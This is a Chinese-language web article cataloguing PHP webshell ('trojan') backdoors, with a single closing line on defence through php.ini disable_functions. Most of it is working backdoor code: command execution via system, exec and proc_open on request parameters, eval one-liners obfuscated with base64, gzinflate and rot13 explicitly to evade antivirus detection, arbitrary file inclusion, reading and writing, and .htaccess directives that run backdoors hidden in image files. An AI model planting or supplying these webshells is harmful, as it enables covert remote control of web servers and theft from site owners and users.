PHP木马大全 一句话的PHP木马的防范

所属分类: 网络安全 / 脚本攻防 阅读数: 327
收藏 0 赞 0 分享
php后门木马常用的函数大致上可分为四种类型:

  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

  1. 执行系统命令:

  system 函数

  //test.php?cmd=ls

  system($_GET[cmd]);

  passthru 函数

  //test.php?cmd=ls

  passthru($_GET[cmd]);

  shell_exec 函数

  //test.php?cmd=ls

  echo shell_exec($_GET[cmd]);

  exec 函数

  //test.php?cmd=ls

  $arr = array();

  exec($_GET[cmd],$arr);

  print_r($arr);

  popen 函数

  //test.php?cmd=ls

  $handle = popen('$_GET[cmd], 'r');

  $read = fread($handle, 2096);

  echo $read;

  pclose($handle);

  proc_open 函数

  //test.php?cmd=ls

  $descriptorspec = array(

  0 => array('pipe', 'r'),

  1 => array('pipe', 'w'),

  2 => array('pipe', 'w'),

  );

  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

  fclose($pipes[0]);

  $output = array();

  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

  print_r($output);

  2. 代码执行与加密:

  eval 函数

  //最常见的一句话木马

  eval($_POST[cmd]);

  base64_decode 函数

  //为了免杀及隐藏而加密代码

  //密文: eval($_POST['cmd']);

  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

  gzinflate 函数

  //为了免杀及隐藏而加密代码

  //密文: eval($_POST['cmd']);

  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

  gzuncompress 函数

  //为了免杀及隐藏而加密代码

  //密文: eval($_POST['cmd']);

  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

  gzdecode 函数

  //为了免杀及隐藏而加密代码

  //密文: eval($_POST['cmd']);

  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

  str_rot13 函数

  //为了免杀及隐藏而加密代码

  //密文: eval($_POST[cmd]);

  eval(str_rot13('riny($_CBFG[pzq]);'));

  assert 函数

  //类似eval函数

  assert($_POST[cmd]);

  call_user_func 函数

  //使用call_user_func调用assert

  call_user_func('assert',$_POST[cmd]);

  call_user_func 函数

  //使用call_user_func调用任意函数

  //test.php?a=assert&cmd=phpinfo()

  call_user_func($_GET[a],$_REQUEST[cmd]);

  组合代码

  //组合方式调用任意函数

  //test.php?a=assert&cmd=phpinfo()

  $_GET[a]($_REQUEST[cmd]);

  3. 文件包含与生成:

  require 函数

  //包含任意文件

  //test.php?file=123.jpg

  require($_GET[file]);

  require_once 函数

  //包含任意文件

  //test.php?file=123.jpg

  require_once($_GET[file]);

  include 函数

  //包含任意文件 www.jb51.net

  //test.php?file=123.jpg

  include($_GET[file]);

  include_once 函数

  //包含任意文件

  //test.php?file=123.jpg

  include_once($_GET[file]);

  file_get_contents 函数

  //读取任意文件

  //test.php?f=config.inc.php

  echo file_get_contents($_GET['f']);

  file_put_contents 函数

  //生成任意内容文件

  //a=test.php&b=

  file_put_contents($_GET[a],$_GET[b]);

  fputs 函数

  //生成任意内容文件

  //a=test.php&b=

  fputs(fopen($_GET[a],"w"),$_GET[b]);

  4. .htaccess:

  SetHandler

  //可将php代码存于非php后缀文件,例: x.jpg

  //将以下代码写入.htaccess中

  //连接x.jpg即可启动后门木马出处www.admin8.us

  

  SetHandler application/x-httpd-php

  

  auto_prepend_file

  //可将php代码存于非php后缀文件,例: 123.gif

  //将以下代码写入.htaccess中, 文件路径必须是绝对路径

  //访问网站上任何php文件都会启动该php后门木马

  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

  php_value auto_prepend_file c:/apache2/htdocs/123.gif

  auto_append_file

  //类似auto_prepend_file

  //可将php代码存于非php后缀文件,例: 123.gif

  //将以下代码写入.htaccess中, 文件路径必须是绝对路径

  //访问网站上任何php文件都会启动该php后门木马

  php_value auto_append_file c:/apache2/htdocs/123.gif

防范方法:通过禁止危险函数 php.ini中设置disable_functions详情可以参考下 https://www.jb51.net/article/19292.htm
更多精彩内容其他人还在看

网站个人渗透技巧收集与总结

这篇文章主要介绍了网站个人渗透技巧收集与总结 ,大家也要注意一下不要犯下面的错误,需要的朋友可以参考下
收藏 0 赞 0 分享

网站MYSQL数据库高级爆错注入原分析

国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的,需要的朋友可以参考下
收藏 0 赞 0 分享

详解如何通过“鼠洞”控制电脑

大家都知道,没有一台电脑是完全安全的,都有一个攻破点,下面小编就以实例来讲解一下,一起来看看吧
收藏 0 赞 0 分享

浅谈史上最大DDoS攻击的本质与防范

DDos攻击是现在大部分用户最喜欢的一个话题,近两年来发展态势也渐趋平缓,欧洲反垃圾邮件组织Spamhaus突然遭受到高达300Gbps的大流量DDos攻击被认为是史上最大DDoS攻击,下面小编带你一起分析分析
收藏 0 赞 0 分享

使用爬虫采集网站时,解决被封IP的几种方法

这篇文章主要介绍了使用爬虫采集网站时,解决被封IP的几种方法的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

Python 爬虫使用动态切换ip防止封杀

这篇文章主要介绍了Python 爬虫使用动态切换ip防止封杀的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

XSS绕过技术 XSS插入绕过一些方式总结

我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式
收藏 0 赞 0 分享

一句话木马后门在防注入中的重生

对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方
收藏 0 赞 0 分享

ASP+PHP 标准sql注入语句(完整版)

这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学会攻击
收藏 0 赞 0 分享

SQL注入黑客防线网站实例分析

这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多